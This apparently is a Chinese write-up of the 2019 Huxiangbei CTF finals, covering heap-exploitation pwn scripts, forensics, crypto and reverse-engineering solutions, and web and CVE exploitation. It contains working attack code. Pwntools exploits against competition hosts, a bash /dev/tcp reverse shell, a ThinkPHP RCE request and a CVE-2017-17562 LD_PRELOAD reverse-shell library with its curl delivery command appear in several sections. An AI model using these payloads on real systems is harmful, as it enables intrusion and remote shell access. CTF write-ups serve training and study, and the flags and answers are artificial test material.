湖湘杯2019复赛Writeup

 

pwn

HackNote

edit那边的strlen存在问题，如果一直输入接到下一个chunk的size地方，那就会出现new_len>old_len情况，可以下一次edit到size段，从而造成堆重叠，最后修改malloc_hook来getshell。但是长度不够，所以自写了个read后ret过去执行。

from pwn import *
#r=process('./HackNote')
r=remote('183.129.189.62',11104)
context(arch = 'amd64', os = 'linux')
def gd():
    gdb.attach(r)
    pause()

def add(size,content):
    r.sendlineafter('-----------------','1')
    r.sendlineafter('nput the Size:',str(size))
    r.sendafter('he Note:',content)

def free(idx):
    r.sendlineafter('-----------------','2')
    r.sendlineafter('the Index of Note:',str(idx))

def edit(idx,content):
    r.sendlineafter('-----------------','3')
    r.sendlineafter('Note',str(idx))
    r.sendafter('Input the Note:',content)

fake=0x06CBC40
free_hook=0x6CD5E8
malloc_hook=0x6CB788
sc=asm(shellcraft.sh())
sc='''
xor rdi,rdi
push 0x6cbc40
pop rsi
push 0x100
pop rbx
push 0
pop rax
syscall
push 0x6cbc40
ret
'''
sc=asm(sc)
print shellcraft.sh()
print hex(len(sc))
add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
add(0xf8,'aaaan')#1
add(0x38,'bbbbn')#2
add(0x50,'ccccn')#3
edit(0,'a'*0xf8)
edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
free(1)
add(0xf8,'aaaan')#1
add(0x38,p64(malloc_hook-0xe-8)+'n')#4
free(2)
edit(4,p64(malloc_hook-0xe-8)+'n')
add(0x38,p64(malloc_hook-0xe-8)+'n')#2
add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
r.sendline('1')
r.recvuntil('Input the Size:n')
r.sendline('123')
r.sendline(asm(shellcraft.sh()))
r.interactive()

NameSystem

free那边的挨个向前有问题，18=19但19!=0
洞存在free时候，如果free18，这时候18=19，或者说，只要19存在，每次free，19不置零但是18=19.所以从而double free，没有leak函数，所以考虑把free_got改掉成printf_plt来整，最后leak完后改system来getshell

from pwn import *
#r = process("./NameSystem")
r=remote('183.129.189.62',21405)
libc=ELF('./libc-2.23.so')
def add(size, content):
    r.sendline("1")
    r.sendlineafter("Name Size:", str(size))
    r.sendlineafter("Name:", content)
    r.recvuntil("Your choice :n")

def free(index):
    r.sendline("3")
    r.sendlineafter("The id you want to delete:", str(index))

def gd():
    gdb.attach(r)
    pause()

elf=ELF("./NameSystem")
while(1):
    r.recvuntil("Your choice :n")

    for i in range(17):
        add(0x40, "/bin/sh")

    add(0x50,'/bin/sh')
    add(0x50, "/bin/sh")
    add(0x50, "/bin/sh")
    free(18)
    free(18)
    free(17)
    free(19)#1
    free(0)#2
    free(0)#3
    add(0x60,'/bin/sh')#17
    add(0x60,'/bin/sh')#18
    add(0x60,'/bin/sh')
    free(18)
    free(18)
    free(17)
    free(19)
    for i in range(14):
        free(0)

    add(0x50, p64(elf.got['free']-0x1e))
    add(0x50, p64(0))
    add(0x50, "/bin/shx00")
    add(0x50, 'x00'*6+p64(0x71)+p32(elf.plt['printf']) + "x00" * 3)
    print hex(elf.got['free'])
    print hex(elf.got['printf'])
    add(0x40,'%13$p')
    free(9)
    r.recvuntil('0x')
    leak=int(r.recv(12),16)
    print hex(leak)
    libc_base=leak-240-libc.symbols['__libc_start_main']
    print hex(libc_base)
    add(0x60, p64(elf.got['free']-0x10))
    add(0x60, p64(0))
    add(0x60, "/bin/shx00")
    add(0x60,p64(libc_base+0x45390)[:7])
    r.interactive()

 

misc

something in image

file命令分析是linux镜像文件，R-studio打开发现Flag.txt拿到flag

Ezmemory

拿到一个mem.raw，上volatility

先volatility -f mem.raw imageinfo获取镜像系统信息

--profile=Win7SP1x64指定操作系统

volatility -f mem.raw --profile=Win7SP1x64 pslist列出所有进程

发现有一个cmd进程

volatility -f mem.raw --profile=Win7SP1x64 cmdscan查看命令行上的操作

发现flag

misc4

azpr爆破解压密码为123456
elf运行后有flag，但是提交错误。根据题目名字猜测是elf隐写，搜了半天搜到一个hydan隐写，参考链接：https://www.cnblogs.com/pcat/p/6716502.html
但是hydan解密需要密码。猜测和压缩包密码一样是123456，得到8*&#b，然后解密aes密文，得到bNa3vN1ImCHYlN42kC1FYA47aMalbAXIpNaMsAXBVNKApMqMnBro8，再解一层xxencode，然后再栅栏拿到最后的flag

 

crypto

give me your passport

代码审计后，发现是个简单的AES-CBC。

AES的key都已经给了。

只要发过去的东西，前16字节是IV，后面的解密出来是Admin即可获得flag。

任意选择一次服务器返回的IV，然后用KEY对’Admin’加密，连接成密文，发过去，就能拿到flag。

RSA

e * d = 1 (mod (p-1)(q-1))

e dp = 1 (mod p-1)

那么可以写成 edp – 1 = k * (p-1)

其中1 <= k <= e

可以根据下面这个方法爆破k

from Crypto.Uitl.number import *

e = 65537
dp = ...
kp_1 = dp*e - 1
for k in range(1, e):
    if kp_1 % k == 0:
        tmp = kp_1 // k
        if isPrime(tmp+1):
            print(tmp)

得到输出127353412948873836906687778206509910878775314988106052080998527001224905757226684812828764973002447453109594922446553339420598206561385151430457829996205647622747518251616965320363658027264186719678664334278218049211583365254398026548102259795044636599208243773041401637282792878778039534749858540041527364997即为p，解密即可

p = ...
n = ...
c = ...
q = n // p
assert(n == p*q)
d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))
# flag{d90a4bb43f64275794522dffdb4bd78b}

DES

DES，给了16组子密钥，解密分分钟。（用自己写的DES实现）

In [25]: for i in range(0, len(c), 8):
...: print(DES.DES_dec(c[i:i+8], subkey))
...:
b'4313e6e9'
b'1be766c4'
b'8725e5bd'

mes = b’4313e6e91be766c48725e5bd’

flag = mes+deskey

关键是恢复出原始的8字节（64位）密钥。

实际上，DES有效的密钥长度是56位，另外8位是为了保证每一个字节都是odd parity。

有2**8=256种可能的原始8字节密钥。

利用工具，可以恢复出其中的某一个：

$ ./des_keyschedule a096463b0798 3433313365366539 800379453d5758a2
Round1 key: A096463B0798 == 28 09 19 06 0E 30 1E 18
Plain: 3433313365366539
Cipher: 800379453d5758a2
Reversing key scheduling...
Key found at offset 46: 416f48656f664442

hex转成ascii得到AoHeofDB，连接起来，提交，错误。

那看来需要算出另外255种可能的初始密钥，然后手动提交爆破flag了。

In [84]: for i in range(2**8):
...:         tmp = l.copy()
...:         for index, j in enumerate(bin(i)[2:].zfill(8)):
...:             if j == '1'
...:                 tmp[index] ^= 1
...:         key = b''
...:         for j in tmp:
...:             key += bytes([j])
...:         assert(pyDes.des(deskey).Kn == subkey)
...:         print(mes+key)
...:
...:
b'4313e6e91be766c48725e5bdAnHeofDB'
b'4313e6e91be766c48725e5bdAnHeofDC'
b'4313e6e91be766c48725e5bdAnHeofEB'
b'4313e6e91be766c48725e5bdAnHeofEC'
b'4313e6e91be766c48725e5bdAnHeogDB'
b'4313e6e91be766c48725e5bdAnHeogDC'
b'4313e6e91be766c48725e5bdAnHeogEB'
b'4313e6e91be766c48725e5bdAnHeogEC'
b'4313e6e91be766c48725e5bdAnHenfDB'
b'4313e6e91be766c48725e5bdAnHenfDC'
b'4313e6e91be766c48725e5bdAnHenfEB'
b'4313e6e91be766c48725e5bdAnHenfEC'
b'4313e6e91be766c48725e5bdAnHengDB'
b'4313e6e91be766c48725e5bdAnHengDC'
b'4313e6e91be766c48725e5bdAnHengEB'
b'4313e6e91be766c48725e5bdAnHengEC'
b'4313e6e91be766c48725e5bdAnHdofDB'
b'4313e6e91be766c48725e5bdAnHdofDC'
b'4313e6e91be766c48725e5bdAnHdofEB'
b'4313e6e91be766c48725e5bdAnHdofEC'
...

好在试了前几个就试对了。
最后的flag应该是4313e6e91be766c48725e5bdAnHengDB

 

web

untar

题目改编了2017 hitcon 的ssrfme
UNTAR的作用其实和GET是一样的，而且filename参数是没有过滤的,所以我们只要多走一步就ok了，payload如下：

shell.txt 内容  bash -i >& /dev/tcp/vps/11111 0<&1 2>&1

url=http://vps/shell.txt&filename=a
url=http://vps&filename=bash a|

thinkphp?

看到有人一下就秒了，猜测是tp5rce，然后还真是。

• thinkphp rce

POST /


_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

 

re

re1

程序实现了一个迷宫输入必须为hex
dump出地图

8 1 e b 7 10 1
b f f 1 1 9 1
1 1 1 1 1 b 1
c c 8 e 1 8 1
8 1 1 c 9 e 1
d 8 b 1 1 1 1
1 1 9 a 9 9 63


1 up
2 down
3 left
4 right

2 4 4 1 4 4 4 2 2 2 2 3 3 1 3 3 3 2 2 4 4 2 4 4 4 4

输入后对输入替换出现flag

re2

upx壳直接脱完后发现是: 输入转16进制-1后直接明文比较

dump出数据-1后就是答案 //转16进制函数中还初始化了些加上即可

4fc5f0e3e2e199a0a6ddd945aa2dfeda

re3

加密和解密函数都调用了下
对输入加密后与局部变
3ACF8D62AAA0B630C4AF43AF327CE129D46F0FEB98D9040F713BE65502A5107A比较
直接在解密函数前把输入的加密替换成上面的就行
然后查看回显是3561636230363233313732346338633336396261653731313136366462653835

转字符串就是flag
5acb06231724c8c369bae711166dbe85

 

创新

大数据安全

cve复现

• CVE-2017-17562

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="ip";
uint32_t server_port=5431;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
  //socket initialize
  int sock = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in attacker_addr = {0};
  attacker_addr.sin_family = AF_INET;
  attacker_addr.sin_port = htons(server_port);
  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  //connect to the server
  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
    exit(0);
  //dup the socket to stdin, stdout and stderr
  dup2(sock, 0);
  dup2(sock, 1);
  dup2(sock, 2);
  //execute /bin/sh to get a shell
  execve("/bin/sh", 0, 0);
}

• gcc -shared -fPIC ./exp.c -o exp.so
• curl -X POST —data-binary @exp.so “http://183.129.189.62:11700/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0“